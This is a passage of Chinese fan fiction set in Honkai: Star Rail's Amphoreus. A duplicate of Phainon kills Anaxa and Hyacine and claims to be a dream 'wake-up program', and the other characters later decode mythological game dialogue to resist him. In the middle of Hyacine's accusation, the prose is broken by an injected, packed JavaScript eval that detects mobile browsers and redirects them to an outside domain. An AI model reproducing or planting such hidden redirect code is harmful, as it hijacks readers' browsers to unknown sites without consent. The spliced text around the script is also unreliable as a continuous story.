椅子砸在地上,剑锋擦着那刻夏后背掠过,那刻夏不顾一切地向着实验室另一侧的出口的方向狂奔,同时手速极快地在手机屏幕上盲打。 他的大脑在电光火石间运转——现在发的短信完全可能被卡厄斯看到,之前想当面告诉白厄的关键信息不能发,还好提前给了遐蝶备份,现在只能提示白厄…… “啧。”一声冰冷的轻哼在身后响起。 那刻夏甚至来不及打完,仓促地按下发送键后,一股撕裂般的剧痛便从右臂传来,他闷哼一声,身体失去平衡向前扑倒,视野天旋地转,他看到自己的右手连同紧握的手机,在空中划出一道弧线,啪嗒一声摔落在几米外的尘埃里,屏幕瞬间碎裂,蛛网般的裂痕蔓延开来。而断臂处,粘稠的鲜红色血液瞬间喷涌而出,染透了他的衣袖和身下的地面。 剧痛几乎让他昏厥,他强撑着用左手捂住断臂伤口,鲜红的血液依旧从指缝间汩汩涌出,于是他索性松开了手,任由那刺目的血色流淌,转而用沾满血的手背抹了把脸,低低地笑了起来,笑声带着剧痛的抽气,却依旧张狂:“哈……哈哈……果然……你是……” 卡厄斯的身影如同附骨之疽,瞬间出现在他面前,侵晨剑尖滴落的鲜血在地面拖曳出断续的痕迹。他瞥了一眼地上那只断手和摔碎屏幕的手机,屏幕上最后那条信息清晰可见—— [其血同源,其行非我,其名] 他俯视着那刻夏,那张属于白厄的脸上,只有一片冰冷的漠然。 “真不愧是智识的因子啊,那刻夏老师。”卡厄斯的声音平板无波,听不出是赞许还是嘲讽,“临死前还要玩这种小把戏。” 那刻夏扯了扯嘴角,露出一个混杂着痛楚与极度轻蔑的笑容:“现在还叫我老师?你可真会……惺惺作态。” 卡厄斯面无表情:“以后就是了,提前叫也没差。” “可别恶心我……”他喘息着,嘴角却勾起一个狂傲的弧度,“要动手就快点。我的工程已毕,接下来……就看那小子自己的造化了。” 卡厄斯的蓝瞳中似乎有极其细微的波动,但瞬间恢复平静:“就这几个字,白厄能看出什么?怎么,你还留下了什么线索吗,藏在你的电脑里?还是……” 他环视了一下周围散落的实验报告和草稿:“藏在这些废纸里?” “哈哈哈……”那刻夏的笑声牵动了伤口,让他剧烈咳嗽起来,但他眼中的光芒却更加锐利,“你猜?别小看……我的学生啊,他可比你这伪劣品……像样多了。” 卡厄斯眼中最后一丝伪装的波澜彻底消失,只剩下冰冷的杀意。他不再废话,手中的侵晨扬起,划出一道致命的弧光,朝着那刻夏的胸膛狠狠斩下,利刃穿透血肉的声音沉闷而清晰,那刻夏的身体猛地一震,最后一丝生机迅速从眼中流逝。 就在他生命之火熄灭的刹那,一点极其微弱的蓝色锚点状光效,如同深海中一闪而过的磷光,毫无征兆地在他心口的位置亮起,又瞬间湮灭,快得几乎让人以为是错觉。 几乎是同时,鲜红的血色被一种冰冷诡异的金色所侵染、覆盖,如同被污染的溪流,迅速蔓延开来。 卡厄斯的眉头真正地皱了起来,眼中闪过一丝极快的困惑:“和昔涟一样,又是这种记忆和智识混杂的波动……解析失败,算了,目前应专注于主要目标。” 他抽回侵晨,金色的血液顺着剑身蜿蜒流下,浸透了地面。 ———————————————————— 听到背后传来的无法抑制的抽气声,卡厄斯平静地转过了身,那双与白厄一模一样的蓝色眼睛,在惨白的灯光下,清晰地映出了白厄和风堇惨无人色的脸。 他的目光扫过浑身颤抖、几乎站立不稳的白厄,又掠过眼中充满巨大惊骇和难以置信的风堇,嘴角似乎极其细微地向上牵动了一下。 一个毫无温度、平静得令人毛骨悚然的声音,在死寂的实验室里清晰地响起: “啊,被发现了。” 时间仿佛凝固了,空气中弥漫着浓重的血腥味,压得人喘不过气。白厄的视线死死钉在卡厄斯染金的衣襟和那柄滴着金色液体的侵晨上,又缓缓移向那刻夏失去生息的躯体。 “……为什么?”白厄的声音干涩破碎得不成样子,巨大的悲恸和背叛感撕裂着他,几乎将他仅存的理智撕碎。 “昔涟……那刻夏老师……他们做了什么?告诉我,卡厄斯……告诉我你为什么要这么做!你到底是谁!”他几乎是吼出来的,声音在空旷的实验室激起微弱的回响,带着濒临崩溃的绝望。 卡厄斯没有立刻回答,他垂眸看了一眼手中染血的剑,剑尖的金血仍在缓慢滴落,在地面那滩刺目的金色上晕开一圈涟漪。他抬起眼,目光越过白厄,落在风堇身上。 风堇的脸色比纸还白,身体绷紧得像一张拉满的弓。她没有像白厄那样嘶吼,那双总是盛满温暖关切的眼睛此刻锐利如刀,紧紧锁住卡厄斯,仿佛要穿透他平静的表象,直刺内里的核心。她看到了他衣襟上的金血,看到了他握剑的手,更看到了他眼中那份与“愤怒”、“悲伤”截然不同的、近乎纯粹的冰冷评估。 卡厄斯的嘴角似乎又极轻微地动了一下,像是在回应风堇无声的审视。 他终于开口,声音依旧平稳,却带着一种刻意放缓的节奏:“你还记得昔涟做的游戏吗?《翁法罗斯》。” 白厄的心猛地一跳,混乱的思绪被强行拉回这个熟悉的名词上:“……记得。” 但他无法理解卡厄斯为何在此刻提起这个。 “那个游戏,”卡厄斯的语速不快,一个字一个字说的清晰,“其实你才是主角。” “什么?!”白厄瞳孔骤缩,荒谬感如同冰冷的潮水瞬间淹没了他。 “你才是真正的卡厄斯兰那。”卡厄斯的语气斩钉截铁,目光如同实质般压在白厄身上,带着一种不容置喙的重量,“你现在所处的,并非真实的世界。这里是结局之后,是你在那场最终进攻权杖核心、燃尽自己打穿壁垒之后,意识沉沦的梦境。” 梦境?白厄的大脑一片轰鸣,昔涟冰凉的尸体触感,那刻夏胸前狰狞的创口,空气中浓得化不开的血腥味…… 这一切都是梦?这怎么可能?! “而我,”卡厄斯指了指自己,他的声音陡然带上了一丝急迫,将白厄混乱的思绪强行拉扯聚焦,“是你潜意识生成的唤醒程序。” 他向前迈了一小步,压迫感随之增强,“外面情况很紧急,非常紧急!开拓者他们的行动失败了,铁墓——那个吞噬一切数据的最终模型,它快要彻底吞并翁法罗斯了!虽然你在攻破权杖核心后获得了一点权限来保护翁法罗斯,但这不足以拦住铁墓!它只差最后一步,就是彻底抹杀你这个核心变量,吞噬你的数据!一旦它成功破壳而出,成为真正的绝灭大君,翁法罗斯就完了!一切就都完了!你明白吗,白厄?不,卡厄斯兰那!我们快没有时间了!” “唤醒程序……”白厄喃喃重复,巨大的信息量和强烈的冲击让他思维近乎停滞,只能被动地咀嚼着这些颠覆性的词汇。他下意识地看向风堇,寻求一丝支撑或确认,却只看到她紧抿着唇,眼神更加锐利,身体绷得更紧,像一只蓄势待发的猎豹。 “没错。”卡厄斯点头,眼神里充满了紧迫感,甚至带上了一丝不易察觉的悲悯,“我存在的意义,就是唤醒你,带你离开这个沉溺的幻梦,去直面现实!去战斗!” 他的语气陡然变得更加沉重,带着一种深切的悲哀,“但是,你构建的这个梦境太坚固了,太温暖了……温暖到让你不愿醒来。这些黄金裔们——昔涟、那刻夏、风堇、万敌、阿格莱雅、赛飞儿、缇宝他们……”他的目光扫过风堇,又落回白厄身上,“他们就是你内心构建出的防火墙。” “防火墙?”白厄的声音虚弱无力,这个词像冰冷的针扎进他的意识。 “对。”卡厄斯的声音斩钉截铁,带着一种冷酷的合理性,“他们是保护机制,也是束缚!正是因为他们存在,如此真实,如此鲜活,承载着你潜意识里对安宁和平凡生活的全部渴望,才让你沉溺于此,拒绝苏醒,拒绝面对外面那个残酷的、需要你去战斗的现实!” 他的目光扫过白厄苍白的脸,带着一种沉痛的决绝,“所以,我不得不清除他们,清除这些阻碍你苏醒的防火墙——他们心中指向和平日常的信念会成为阻碍你苏醒的关键因素,从那个最天真的、妄图定义Happy Ending的变量开始。” “清除……”白厄浑身冰冷,昔涟倒下的身影、那刻夏胸前的巨大创口……这些画面再次撕裂他的神经。清除?杀了他们?就因为他们是所谓的“防火墙”? 他猛地抬头:“为了唤醒我,所以你杀了昔涟,杀了那刻夏老师?!风堇呢,她也是防火墙吗!” “是的。”卡厄斯坦然承认,目光转向风堇,带着一种评估的意味,“她过于敏锐了,她的专业知识和那份执着于真实情感的洞察力,本身就是防火墙中最具威胁性的警报模块。她的存在,会阻碍你做出正确的选择。” 就在这时,一直沉默的风堇突然开口了,她的声音不高,却异常清晰,每一个字都冷静无比,像淬了冰的锋刃: “程序?卡厄斯,或者说……无论你是什么,你的这套说辞,完美得像一个精心设计的剧本,逻辑自洽,目标明确。但是——” 风堇向前一步,声音带着洞穿本质的寒意:“你说自己是保护他的防御程序?好,我承认——” 她突然抬手,指尖虚点向卡厄斯身后那刻夏的金色血泊:“极度创伤下的防御机制,确实可能化身毁灭者,它会撕裂虚假的安宁,用最残酷的方式逼主体清醒。” 她的话音陡然锐利如剑锋:“但这样的毁灭者,本质仍是主体灵魂的碎片!它的内核应该是被创伤扭曲的爱——是宁可自己背负罪孽也要撕开美梦的悲壮!它会痛苦!会挣扎!会在摧毁挚友时发出灵魂的悲鸣!” 她死死盯住卡厄斯毫无波澜的眼睛:“可你呢?面对白厄——” 她猛地指向白厄濒临崩溃的脸:“你甚至精准计算着何时该披上悲悯的伪装!你的不惜代价里没有代价感!这不是防御机制——这是借壳入侵!” 风堇的话语如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177365|180779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同利刃,精准地切入了卡厄斯逻辑链条中最脆弱的环节——那份“非人性”。她死死盯着卡厄斯,一字一顿:“你在撒谎,你根本不是什么唤醒程序,其血同源——毁灭的金血,其行非我——不是我们的同伴,你就是那刻夏老师用命指认的威胁——铁墓!” 卡厄斯脸上的悲悯和急迫瞬间消失殆尽,如同面具般剥落,取而代之的是一种无机质的平静。 “出色的洞察力,风堇。”卡厄斯的声音恢复了最初的冰冷平静,毫无波澜,“但是,你根本没有经历过三千多万次轮回,纸上谈兵的理论谈何正确?你的分析,只会让主体更加混乱,阻碍他做出正确的选择。” 他缓缓举起了手中的侵晨,剑尖指向风堇,粘稠的金血沿着锋刃缓缓滑落,“防火墙的核心警报……必须清除。” 话音未落,卡厄斯动了。他的动作快得只剩下残影,侵晨划出一道冰冷的蓝色弧光,直刺风堇的胸口! “不——!”白厄目眦欲裂,下意识想扑过去挡在风堇面前,然而卡厄斯比他更快。 利刃刺穿血肉的声音在死寂中格外清晰,风堇的身体猛地一颤,剧痛让她瞬间失去了所有力气。她低头看着胸前透出的、染着血色的剑尖,又最后看了白厄一眼,眼中没有恐惧,只有对白厄的深切担忧。 她的眼神里传递着无声的警告:别信他! 眼中光芒迅速黯淡,鲜红的血液从伤口涌出,风堇的气息微弱下去。 然而,就在这生命消逝的瞬间,和那刻夏一样的的蓝色锚点状光效,在风堇心口的位置骤然亮起,又瞬间湮灭,几乎是同时,金色覆盖鲜红,染透了她浅色的衣衫。 卡厄斯的眉头几不可察地蹙了一下。 风堇眼中的光彩彻底熄灭,她的身体失去了支撑,软软地向后倒去,重重摔落在冰冷的地面上,胸前狰狞的伤口依旧在缓慢渗出金色的血液,浸染着她身下的尘埃。她静静地躺在那里,成为这冰冷实验室里又一具被金色浸染的、无声的遗体。 卡厄斯缓缓收回剑,看着剑尖上沾染的金色血液,眼神冰冷而漠然。他甩了甩剑,几滴金血飞溅开来。他重新将目光投向僵立如雕塑的白厄。 白厄的大脑一片空白。风堇最后那无声的警告眼神,那瞬间亮起又熄灭的诡异蓝光,那迅速被金色覆盖的血液……这一切都如同重锤,狠狠砸在他已经濒临崩溃的神经上。他的脑海中一片混乱,思绪纠缠不清。 “你看,白厄。”卡厄斯的声音再次响起,带着一种刻意放缓的诱导性,试图重新掌控局面,“又一个阻碍被清除了。她的质疑,她的分析,不过是防火墙预设的干扰程序,试图将你困在这个注定破灭的梦里。这由红变金的血,还有蓝色的光芒……” 他指了指风堇的尸体,又看向那刻夏的方向,“就是他们作为防火墙单元被彻底清除的证明,证明他们……并非真实的生命,只是你防御机制的一部分。” 白厄浑身剧烈地颤抖着,嘴唇哆嗦,却发不出任何声音。他看着卡厄斯,看着那张和自己一模一样的脸,只觉得无比陌生,无比恐怖。 昔涟的金血,那刻夏的金血,风堇……也变成了金血。卡厄斯的话……防火墙、清除……还有那刻夏的遗言“其血同源,其行非我”……风堇对卡厄斯的指控…… 这是梦,还是现实?卡厄斯是唤醒者?还是……带来毁灭的魔鬼? “你有两种选择,白厄。”卡厄斯的声音仿佛带着某种蛊惑人心的力量,清晰地传入白厄混乱的脑海,“第一种,立刻醒来,直面铁墓,在它彻底吞噬翁法罗斯之前,做最后一搏!这是最直接,但也最危险的路。” 他顿了顿,身体微微前倾,目光变得更加深邃,带着一种近乎温柔的感觉:“或者还有一种方法,你可以选择继续沉睡,把身体的控制权……交给我。” 白厄猛地抬头,难以置信地看着他。 “由我来替你背负一切。”卡厄斯的语气异常平静,却又蕴含着巨大的力量,“由我来替你对抗铁墓,由我来替你守护翁法罗斯,由我来承担那三千三百五十五万零三百三十七次轮回的重量。你可以留在这里,在这个安全的、没有痛苦和毁灭的梦里,继续你平凡的生活。把所有的重担都交给我吧,毕竟我是你的潜意识产物……” 他露出一丝极淡的微笑,“我就是为你而生的。” 空间里一片死寂,卡厄斯的话语如同冰冷的毒液,又像诱人的蜜糖,在白厄混乱不堪的脑海中疯狂搅动。昔涟游戏里的结局、卡厄斯描述的危机、三人惨死的画面、消失的蓝光、还有那令人窒息的“选择”……这一切交织成一张巨大的、令人绝望的网,将他死死缠绕。 “你以为……我会信你这一套鬼话吗?!”白厄猛地抬起头,声音干涩沙哑,眼中却燃烧着深不见底的怒火和悲伤,“为了唤醒我,所以你杀了昔涟、杀了那刻夏老师、杀了风堇?!现在竟然还说让我继续平凡的生活?!” 卡厄斯脸上的那丝温柔瞬间褪去,重新覆上一层无机质的平静。他轻轻叹了口气,那叹息声里带着一种果然如此的了然和一丝不易察觉的……不耐烦。 “还不够啊……”他低语着,缓缓起身,高大的身影在惨白灯光下投下一片沉重的阴影,将白厄笼罩。 危险的本能尖叫着让白厄后退,但他咬着牙,双脚如同铁铸般死死钉在原地。他强迫自己挺直脊背,摆出防御的姿态,恶狠狠盯着卡厄斯逼近的身影。 那个身影动作平稳,没有丝毫杀气,却带着一种绝对的掌控力。 “那么,直到你真正相信、真正做出选择为止……”卡厄斯的声音冰冷地响起,如同最后的宣判。 “我会一直清除下去。” 话音落下的瞬间,白厄甚至没看清他的动作,颈后便传来一阵精准无比的剧痛。那痛感尖锐而短暂,随即被汹涌而至的冰冷黑暗彻底吞噬。他的意识像断线的风筝,向着无底的深渊急速坠落,最后残留的感知,是卡厄斯那双俯视着他的、冰冷无情的蓝色眼睛,以及实验室里浓得化不开的血腥味。 黑暗彻底降临。 5. 第 5 章 暂停营业的牌子安静地挂在旋风橙猫咖门外,往日充满猫咪呼噜声和咖啡香气的地方,此刻笼罩在一片令人窒息的低气压中,阳光还是那么温和,却驱不散里面每个人脸上紧绷的不安。 万敌背对着众人,沉默地擦拭着吧台,指节因用力而发白。阿格莱雅端坐窗边,指尖捏着冷掉的咖啡杯,目光似乎也带着冰冷的寒意。赛飞儿蜷在角落里,下巴搁在膝盖上,猫眼里的灵动不再。缇家三小只安静地围坐,缇安低着头绞着衣角,缇宝和缇宁靠在一起,小小的身体传递着无声的颤抖。遐蝶膝上放着一本文件夹,她的指尖无意识地摩挲着边缘,眼神却失焦地落在虚空某处,仿佛在解读无形的密码。 白厄沉默地坐在他们中间,昔涟和那刻夏染血的身影,风堇最后那无声却充满警告的眼神,还有卡厄斯——那个顶着和他一模一样面孔的怪物,他诡异的话语和滴着金血的侵晨…… 他强迫自己挺直脊背,指甲深深掐进掌心,试图用那尖锐的疼痛驱散心底浮现的软弱,但这些画面连同实验室里那股浓重的血腥味一样,一直顽固地萦绕在他身边。 “……他说,这是梦。”白厄终于开口打破了沉寂,他低垂着头,声音很轻,如同梦呓,“他说我是真正的卡厄斯兰那,外面……翁法罗斯快被铁墓吞掉了。他说……昔涟、那刻夏老师、风堇……都是防火墙,是他清除掉的……是我的错……是我带来了他……” “白厄!”阿格莱雅猛地站起身,双手重重拍在桌面上,震得杯碟轻响,“把头抬起来!” 白厄身体一僵,下意识地抬起了脸。 “看看你现在的样子!”阿格莱雅的声音严厉,那双总是充满灵感的眼眸此刻燃烧着冰冷的火焰,直直刺向白厄带着痛苦和混乱的眼睛,“沉溺在自责里,就能把昔涟、阿那克萨戈拉斯、风堇带回来吗?就能阻止那个疯子继续挥剑吗?” 她环视着在场的每一个人,目光扫过万敌紧锁的眉头、赛飞儿紧绷的嘴角、缇家三小只懵懂却不安的眼睛、遐蝶苍白而沉静的侧脸。“我们坐在这里,不是为了看你被愧疚溺死,白厄。是为了弄明白发生了什么,为了找到出路!昔涟不会希望看到你这样,那刻夏用命换来的信息,不是为了让你用它来折磨自己!风堇最后看你的眼神,是让你放弃吗?!” 阿格莱雅的话像一记重锤,砸在白厄混乱的脑海中。 他猛地吸了一口气,闭了闭眼,再睁开时,眼底的混乱并未完全散去,但深处却燃起了一点微弱却执拗的光——一种被逼到悬崖边缘,反而被激起的源自骨子里的韧性。他用力抹了把脸,声音依旧沙哑,却带上了一丝竭力维持的平稳:“……你说得对。但是那刻夏老师的实验室已经被卡厄斯烧毁了,我们现在的线索……” “我这还有。”遐蝶轻声开口,她将手上的文件夹轻轻推到桌子中央,“那刻夏老师……在出事前几天来找过我。他说实验室不太安全,让我保管好这个。” 众人的目光瞬间聚焦在文件夹上。万敌伸手将它打开,里面是厚厚一叠打印出来的《翁法罗斯》游戏截图和文本记录,夹杂着几张写满潦草公式和批注的草稿纸。众人仔细翻看着每一张文件,突然,白厄伸手指向其中一张游戏截图,心脏不受控制地狂跳起来,“等等,这段对话……我记得很清楚,哀丽秘榭那个区域我最喜欢,所以先把支线全刷完了,但我从来没见过这段剧情!” 遐蝶声音依旧很轻:“是的,应该是那刻夏老师的注释里提到的特定信号,触发了这段隐藏的对话。” 游戏截图上面是游戏内角色昔涟和玩家在哀丽秘榭的一段对话。 【玩家】:“这微弱的震颤,是阿里阿德涅之线在嗡鸣?” 【昔涟】:“看来线轴的回声,比预想的要清晰呢~” 【玩家】:“它的尽头,是系在迷宫的出口,还是更幽邃的回响之地?” 【昔涟】:“赫利俄斯的金车已启程,线轴正系于其轮辐之上,时序女神们于其中纺织着遗忘之纱,将失落的金羊毛接引归岸。” 【玩家】:“明白了。看来这丝线的彼端,牵引的已非迷宫,而是新的航程。” 【昔涟】:“只是啊,纺锤未歇,金焰之车尚不能破开冥河浓重的雾霭,带回那追逐日轮的伊卡洛斯。至于那逐日者,他正用借来的蜡翼,翱翔在离日轮咫尺之遥,想想那场景,真是令人心潮澎湃,又捏一把汗呢~” 【昔涟】:“不过……迷途者若想归航,要仔细分辨代达罗斯再次递来的蜂蜡哦,没准那会让靠近日轮的希望……融化地更快呢~” 【玩家】:“哼,确实别太乐观。冥河的渡资耗费甚多,若那伊卡洛斯还需穿越塔耳塔洛斯之渊,他分得清赫尔墨斯的指引与塞壬的挽歌吗?” 【昔涟】:“哎呀,这就要问亲爱的伊卡洛斯啦!但——我是非常相信他的哦~” 【昔涟】:“祝你好运,聪明的旅人!愿你,也愿他们,在迷宫的阴影中,听清…那并非风的呜咽。” (那刻夏的备注:道具“识刻锚”在游戏内哀丽秘榭区域使用时产生了一种极其极其微弱但规律异常的能量波动信号。这种波动与识刻锚在其他地方使用时的信号并不相似,却隐隐符合某种空间定位的特性。现尝试在这种波动中混入一个精心设计的、带有特定频率的信号,意在主动尝试激活那个异常波动源,观察它是否有响应。) “阿里阿德涅之线……”赛飞儿皱着眉,努力回忆,“神话里……是帮助忒修斯走出迷宫的线?” “对。”遐蝶点头,“应该就是指识刻锚。” 她翻出另一张纸,是识刻锚的游戏文本介绍:“奇物,「智识」世界中的界域定锚,能够保护个体数据结构不受激烈的数字海啸影响。必要时,它也能成为内外沟通的桥梁。” “那刻夏和昔涟在打什么哑谜?”万敌低声念着这些象征意味极强的名字,眉头紧锁,“赫利俄斯的金车,时序女神纺织遗忘之纱,接引失落的金羊毛归岸?都是神话里的词汇,这听起来……” “像一条生路。”阿格莱雅接口道,“金羊毛在神话里本身就是被寻找的珍宝,将失落的金羊毛接引归岸。昔涟在暗示,有某种方法,能让失落的东西——也许是指我们?——被识刻锚安全地带回海岸。” 她眼中闪过一丝锐利的光,“这就是他们想传达给我们的东西?一线生机?” “但是,” 遐蝶纤细的手指指向对话中紧接其后的句子,眉头微蹙,“纺锤未歇,金焰之车尚不能破开冥河浓重的雾霭,带回那追逐日轮的伊卡洛斯……昔涟这句话,像是在说生路虽然存在,但现在还无法完全兑现?” “纺锤未歇……” 万敌咀嚼着这个词,“难道是指可以帮助我们的人,他们的准备工作还没完成?就像纺织还没停下?” “金焰之车……” 遐蝶顺着思路,“赫利俄斯的金车,应该是指那辆能带走金羊毛的车,也就是救援的力量?它还不能破开冥河的雾霭……冥河是死亡之河,雾霭象征着阻隔和危险……它无法穿透这层阻隔,把追逐日轮的伊卡洛斯带回来?” “所以,金焰之车就是生路,但它现在还被冥河雾霭挡在外面!”阿格莱雅瞬间理解了其中的困境,“昔涟在告诉我们,救援的力量已经启动,甚至已经和我们这边利用识刻锚建立了某种联系,但他们的行动尚未完成,因此暂时无法穿透代达罗斯——卡厄斯的阻隔,把最关键的伊卡洛斯——也就是白厄救出去!” “那卡厄斯到底是谁?”缇安小声问,大大的眼睛里满是困惑和害怕,“他为什么要一个个……那样做?” “目的是白厄。”阿格莱雅斩钉截铁,“至于他的身份,我和风堇一样,也比较倾向于他就是铁墓,而不是什么见鬼的唤醒程序。虽然不知道他为何没有直接对白厄下手,而是诱导白厄相信他。他给出的两个选择——醒过来,或者交出控制权,也尚且不知道何为真何为假,但有一点很明确,他杀我们是在削弱白厄的抵抗,击垮他的意志。就像他说的——清除防火墙。” “等等,仔细分辨代达罗斯再次递来的蜂蜡……”赛飞儿突然插话,她抬头看向白厄,眼神凝重:“我猜这句话是在警告代达罗斯再次递出的蜂蜡为假,无论是让你醒来还是交出控制权,表面看像是帮你飞起来的蜡翼,但本质上都是致命的诱惑!一旦你信了,照做了,你的蜡翼——你赖以隔绝危险的东西——甚至很可能没靠近太阳就会轻易融化!你的希望就会被彻底焚毁!” “所以两条路都是死路。”阿格莱雅的声音冰冷刺骨,接上了赛飞儿的话,“无论选择醒来还是交出身体控制权,结果都一样,正中卡厄斯下怀,让他得逞。昔涟的警告再清楚不过,卡厄斯给出的任何解决方案,都是包裹着蜜糖的毒药,是加速你坠落的蜂蜡!” “但是我很在意,如果卡厄斯就是铁墓,他为什么不直接清除我们?为什么不直接杀了白厄?他的战力确实高强,但似乎没有超出这个世界太多,有什么限制住他了吗?”遐蝶轻声提出疑问,目光落在对话中那句“翱翔在离日轮咫尺之遥”上。 她沉思着又说:“也许……是伊卡洛斯,他用借来的蜡翼暂时阻隔了太阳的炽热?既然代达罗斯指卡厄斯,而他说你才是卡厄斯兰那,那借来的蜡翼很可能是指白厄你从卡厄斯那边获取了某种……权限?或者别的什么东西?你用源自于他的东西反过来限制住了他?” “他想拿回这东西,所以他才一直试图瓦解白厄的意志,诱导他做出选择!”万敌恍然大悟,拳头重重砸在桌面上,“太狡猾了!他在用看似帮助的谎言,诱使白厄自毁长城!” “毫无疑问,卡厄斯说的话绝对有问题。”阿格莱雅沉声道,“白厄,你不能信他。” “我知道了……还有这个!”白厄声音发紧,“冥河的渡资耗费甚多……那刻夏老师在担心什么?耗费甚多,是指代价很大吗?是指……还会有更多牺牲?” “耗费甚多……” 遐蝶低声重复,视线凝重地划过纸上那冰冷的字迹,又看向白厄,眼中充满忧虑,“塔耳塔洛斯深渊、与怪物的搏斗、赫尔墨斯是信使,塞壬是诱惑的水妖。那刻夏老师在担心你看到我们一个个……会承受不住牺牲的代价,会分不清真假,会……在绝望中做出错误的选择。” “但我们不能逃避。”阿格莱雅环视众人,眼神锐利:“卡厄斯的下一个目标,必然是我们剩下的所有人,他不会停手。既然他的力量已经被限制住了,那我们就主动出击,把他引出来,放手一搏!” “不行!”白厄猛地站起来,“这太冒险了!万一其实没有生路呢?万一只是……” 他无法说出那个词,昔涟他们的遭遇再次灼烧他的脑海,但他强迫自己压下翻涌的情绪,“不能拿你们的命去赌一个不确定的猜测!我们想办法躲,拖时间!” “白厄!”阿格莱雅站起身,走到他面前,她用力按住他紧绷的肩膀,“没有地方可躲了!阿克萨戈拉斯用命换来的线索,风堇用命戳穿的谎言,昔涟用游戏布下的迷局……我们所有人,都在这张网里。已经没有退路了!” “我们不知道那是生路还是终结。”阿格莱雅的声音带着残酷的剖析,“但我们知道,卡厄斯的目标是你。每清除我们一个,你就离崩溃更近一步,离被他得手就更近一步。被动挨打,只会让他把绝望一层层加在你身上,直到你彻底屈服。卡厄斯的话,无论真假,目的都只有一个——击垮你,让你放弃思考,放弃抵抗!” 她按在白厄肩上的手加重了力道,目光如炬:“即使不主动,我们的牺牲也可能无法避免,卡厄斯 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她舔了舔嘴唇,眼中闪烁着狡黠的光芒,像只发现了猎物的猫,“行吧,既然老板都发话了,要对付那个代达罗斯,确实需要点特别的欢迎仪式。这些笨猫都转移了吧?我的小礼物可没长眼睛——给我点时间!” 说完,她站起身,像一道轻盈的影子,迅速消失在猫咖的各个角落,开始布置起来。 “万敌,你来保护缇宝她们!” “好!” “遐蝶,你和缇宝她们一起,待在后方。资料是关键!” 遐蝶用力点头,将资料紧紧抱在怀里。 “缇宝、缇安、缇宁,”阿格莱雅的目光转向三个孩子,语气沉稳,“跟紧万敌,待会儿无论发生什么,不许乱跑。” 缇安和缇宁懵懂地点点头。一直没怎么说话的缇宝却抬起头,那双清澈的眼睛看向阿格莱雅,没有孩童的懵懂,反而透出一种超乎年龄的沉静,她轻轻“嗯”了一声,主动牵住了两人的手。 —————————— 猫咖里陷入短暂的死寂,大家都在各自为接下来的战斗沉默地做着准备。白厄站在其中,阿格莱雅的话语如同烙印刻在他心头——坚持住,等到金焰之车。可那代价……他不敢深想。 就在这时,猫咖门口的风铃,突兀又清脆地响了一声。 所有人的动作瞬间凝固。万敌猛地将三个孩子护在身后,目光如电般射向门口;赛飞儿的身影如同灵巧的猫,悄无声息地从吧台后滑出,手中不知何时多了一把闪着寒光的匕首;遐蝶抱着文件夹的手指收紧,指节泛白;阿格莱雅缓缓转身,姿态依旧优雅,眼神却锐利如即将出鞘的利刃。 白厄的心脏骤然缩紧,他猛地转头。 虚掩的门被轻轻推开,卡厄斯站在门口。 他依旧穿着一件干净的白色T恤,发丝略显凌乱,他微微喘着气,目光快速扫过猫咖内充满敌意的众人,最后精准地落在白厄身上,那双蓝色的眼睛里立刻流露出深切的担忧。 “白厄!”卡厄斯的声音低沉而急切,“我感觉到了防火墙的剧烈波动,还有强烈的抵抗意志!” 他无视了其他人充满戒备的目光,仿佛他们只是背景板,径直走向白厄。 “你太冲动了,白厄。”卡厄斯停在白厄面前,语气带着责备和忧虑,“我理解你的痛苦,理解你对昔涟、那刻夏、风堇的感情。但他们是防火墙!是阻碍你清醒、保护你自己的屏障!他们的牺牲是……必要的代价,是为了让你最终能够清醒过来,去拯救真正的翁法罗斯!” 阿格莱雅一步上前,如同坚固的盾牌,稳稳地隔在卡厄斯和白厄之间,她那双锐利的眼睛直视着卡厄斯:“必要的代价?为了你那套所谓的唤醒理论?” 卡厄斯的目光终于转向阿格莱雅,眼神里带着一种面对顽固程序的无奈。 “阿格莱雅,”他的声音依旧平稳,“你的领导力、你的保护欲,是你这个防火墙单元最核心的指令。我能理解你试图保护主体的行为模式。但你的存在,你的信念,正是主体沉溺最深、最不愿割舍的部分之一。你们所有人……” 他的目光依次扫过万敌、赛飞儿、缇家三小只、遐蝶:“都是他潜意识里对平凡安宁的极致渴望的投影,是他拒绝面对残酷现实的最大阻碍。” 他重新看向白厄,眼神充满急迫:“白厄,他们只是你防御机制的一部分!你越是依赖他们,越是试图保护他们,这个梦境就越坚固,你就离真正的苏醒越远!铁墓正在外面疯狂吞噬!我们没有时间了!” 他声音低沉下来,带着一种沉重的责任感:“白厄,我知道这很痛苦。但你必须做出选择。要么,现在就醒来,去直面铁墓,做最后一搏!要么……”他的声音放低,带着一种极具诱惑力的轻柔,“把权限交给我。由我来替你承担这一切。你可以留在这里,和他们一起,在这个安全的梦里……直到永远。把所有的痛苦、战斗、轮回的重量,都交给我。” “够了!”赛飞儿的声音带着压抑不住的怒意,她手中的飞刀微微调整了角度,猫眼死死锁定卡厄斯,“收起你那套假惺惺的说辞!你的话没人会信!” 空气仿佛凝固成了冰,卡厄斯的表情归于平静,他的目光扫过阿格莱雅坚定的脸,又掠过赛飞儿紧绷的姿态、万敌护住孩子的魁梧背影、遐蝶怀中紧抱的文件夹,最后,落回白厄那张苍白的脸上。 他微微偏了偏头,那张平静无波的脸上没有任何情绪,似乎在评估着他们的抵抗强度,又像是在等待着白厄最终的选择。但那双和白厄一样的蓝眼睛深处,没有任何属于人的挣扎或愧疚。 阿格莱雅的声音冰冷而清晰地响起,是警告卡厄斯,更是提醒白厄: “闭嘴吧,舞台已经搭好,演员也已就位——你的戏,该落幕了。” 6. 第 6 章 电脑屏幕上,一望无际的麦田伴随着悠扬的小调在风中轻轻拂动,散发着柔和的金色光芒——正是《翁法罗斯》的启动界面。而白厄窝在在熟悉的电竞椅里,手指悬在鼠标上方。阳光温暖地映着这一方安宁的空间,窗外是城市的寻常车流声,就像是一个平常的午后。 屏幕侧边,弹幕也一如既往地滚动着: 